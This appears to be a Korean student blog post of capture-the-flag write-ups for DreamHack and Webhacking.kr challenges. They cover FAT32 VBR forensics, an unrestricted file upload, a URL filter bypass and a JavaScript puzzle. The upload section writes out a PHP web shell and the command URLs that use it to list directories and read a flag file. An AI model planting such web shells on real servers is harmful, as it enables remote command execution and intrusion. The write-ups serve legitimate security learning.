[DreamHack] VBR

파일을 다운로드 받아서 hxd에 넣어주었다.
문제 이름이 VBR이니 VBR 내용임을 알 수 있다.
VBR
Volume Boot Record의 줄임말로, 부팅 가능한 파티션(볼륨)의 첫번째 섹터에 존재한다. Boot Sector, 볼륨크기, FAT 위치, $MFT 위치 등 볼륨에 관한 다양한 정보를 포함하고 있다. (https://c0msherl0ck.github.io/file%20system/post-VBR/)
FAT32의 VBR

VBR 자세한 구조

찾아야 하는 값이
1. 파일 시스템이 어떤 건지
2. 볼륨 크기
3. 볼륨 시리얼 번호
어떤 파일 시스템인지는 열자마자 FAT32라고 나와있다. FAT32인 경우 1이다.
볼륨 크기의 경우 Total Sector 값에 섹터 별 바이트 수를 곱해서 구할 수 있다.
Total Sector : 0x20~0x23의 값을 리틀엔디언으로 읽으면 0x3E8000임을 알 수 있다.
섹터 별 바이트 수 : 0x0B ~0x0C의 값을 리틀엔디언으로 읽으면 0x200임을 알 수 있다.
16진수끼리 곱하면 0x7D000000의 값이 나오고 10진수로 변환하면 2,097,152,000의 값이 나온다.
볼륨 시리얼 번호는 Volume ID 부분을 통해 구할 수 있고 0x43 ~ 0x46까지의 값을 리틀 엔디언으로 읽으면 0xEA8EE8A 이고 10진수로 변환하면 245,952,138 값이 나온다.
이 세 값을 다 더해서 플래그를 획득할 수 있었다.

[Dreamhack] "image-storage" 문제풀이
https://dreamhack.io/wargame/challenges/38
로그인 | Dreamhack
dreamhack.io

파일 저장 서비스라면 우선 생각나는건 파일 이름을 검사하는 코드가 있는지 찾아봐야될 것 같다.
문제 이름이 image-storage이기 때문에 아마 이미지파일만 받는게 의도였을텐데, 이미지파일인지 검사하는 코드가 있는지 확인해보자.
또한 파일 저장 서비스라면 새싹문제에서 연습했던 것처럼 ../ 를 이용해서 상위 경로로 이동해서 파일을 찾아볼 수도 있을 것 같다.
일단 문제코드를 살펴보자.
내가 원했던 파일을 업로드할 때를 관리하는 코드는 upload.php 파일에 있었다.
$directory = './uploads/'; : 업로드된 파일을 ./uploads/ 경로에 저장
: 업로드 과정에서 에러가 발생했을 때, 에러 메시지 출력하고, 업로드 중단하기
: 업로드가 성공적으로 됐을 때
: 업로드하려는 파일과 같은 이름의 파일이 이미 존재할 때 덮어쓰거나 그러진 말고, 이미 존재한다고 말하기
: 같은 이름의 파일이 없을 때, 디렉토리에 사용자가 지정한 이름으로 저장하기, 임시경로의 파일($tmp_name)을 아까
$directory = './uploads/'; : 업로드된 파일을 ./uploads/ 경로에 저장
에서 말한 것처럼 업로드 경로로 이동
$directory . $name 는 ./uploads/파일이름 의 경로를 나타냄
여기서 확장자랑 파일명 검증이 없다. 아까 생각했던 것처럼 이미지가 아닌 PHP코드(.php) 파일, 경로 우회('../') 등의 파일명으로도 가능할 것으로 보인다.
그러니까 우리는 이제 웹쉘이라는 방법을 이용해볼 것이다.
웹쉘이란, 웹서버에 업로드된 악성 스크립트(주로 .php, .jsp 등)로 공격자가 원격에서 명령을 실행할 수 있는 툴을 말한다.
예시로는 <?php system($_GET['cmd']); ?> 가 있다.
system : php의 내장함수. 명령어를 직접 실행시킨다.
$_GET['cmd'] : url의 get 방식 매개변수 cmd에 담긴 값을 받아온다.
=> ?cmd=명령어 를 사용자가 url에 붙여서 요구를 하면, 해당 명령어가 system에 의해 서버에서 실행됨. 그리고 그 실행 결과가 웹에 표시된다.
일단
가 내용인 php 파일을 업로드해보자.


아까 위에서 ?cmd=명령어 를 사용자가 url에 붙여서 요구를 하면, 해당 명령어가 system에 의해 서버에서 실행됨. 그리고 그 실행 결과가 웹에 표시됨 이라고 했던 것처럼 다음 url을 사용해보자.
http://host8.dreamhack.games:10720/uploads/myshell2.php?cmd=ls
위처럼 하면 서버에서 ls가 실행돼서 파일들이 어떤게 있는지 알 수 있다. 만약 다른 명령어를 사용하고 싶다면
?cmd=ls
에서 ls부분에 다른 명령어를 입력하면 된다. 일단 우린 어떤 파일들이 있는지 알아야 flag가 들어있을 것 같은 파일을 찾을 수 있을 것이고 그래야 cat을 써서든 해서 열어볼 수 있을 것이다.

myshell.php들은 내가 만든거라서 flag 파일이 아니다. 일단 flag파일이 나올 때까지 ls 뒤에 ../를 붙여서(상위 파일로 이동하면서) 찾아보자.
http://host8.dreamhack.games:10720/uploads/myshell2.php?cmd=ls%20../../../../
4번쯤 하니까 다음처럼 flag.txt가 보인다.

이제 cat을 사용해서 flag.txt를 열어보자.
http://host8.dreamhack.games:10720/uploads/myshell2.php?cmd=cat /flag.txt


[DreamHack] simple phparse

URL의 path 부분에 flag.php 문자열이 들어가면 거부하고 그렇지 않으면
Cannot access flag.php: [path] 출력한다.
flag.php를 직접 경로에 넣으면 막힘 우회방법을 통해 flag.php에 접속해 flag값을 구하는 것이다.
url의 허점인 NULL byte를 통해 풀었다. path에 //을 넣으면 NULL이 되므로 우회가 가능하다. /

[Webhacking.kr] old-17

F12로 코드 확인

unlock의 값이 아주 긴 연산으로 저장 되어있음
sub 함수 코드를 보면 unlock의 값이 login.pw.value와 같을 때 어떤 주소로 이동함

Console창에 unlock 값을 복사해서 계산해보면 7809297.1이 나옴

7809297.1을 처음 나왔던 화면에 입력하면 문제가 풀림
'4-1. 2025-2 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
| [5주차] 25.11.22 워게임 도장 깨기 (0) | 2025.11.27 |
|---|---|
| [2주차] 25.10.04 워게임 도장 깨기 (0) | 2025.11.15 |
| [4주차] 25.11.15 워게임 도장 깨기 (0) | 2025.11.15 |
| [3주차] 25.11.8 워게임 도장 깨기 (0) | 2025.11.14 |
| [1주차] 25.09.27 워게임 도장 깨기 (0) | 2025.09.27 |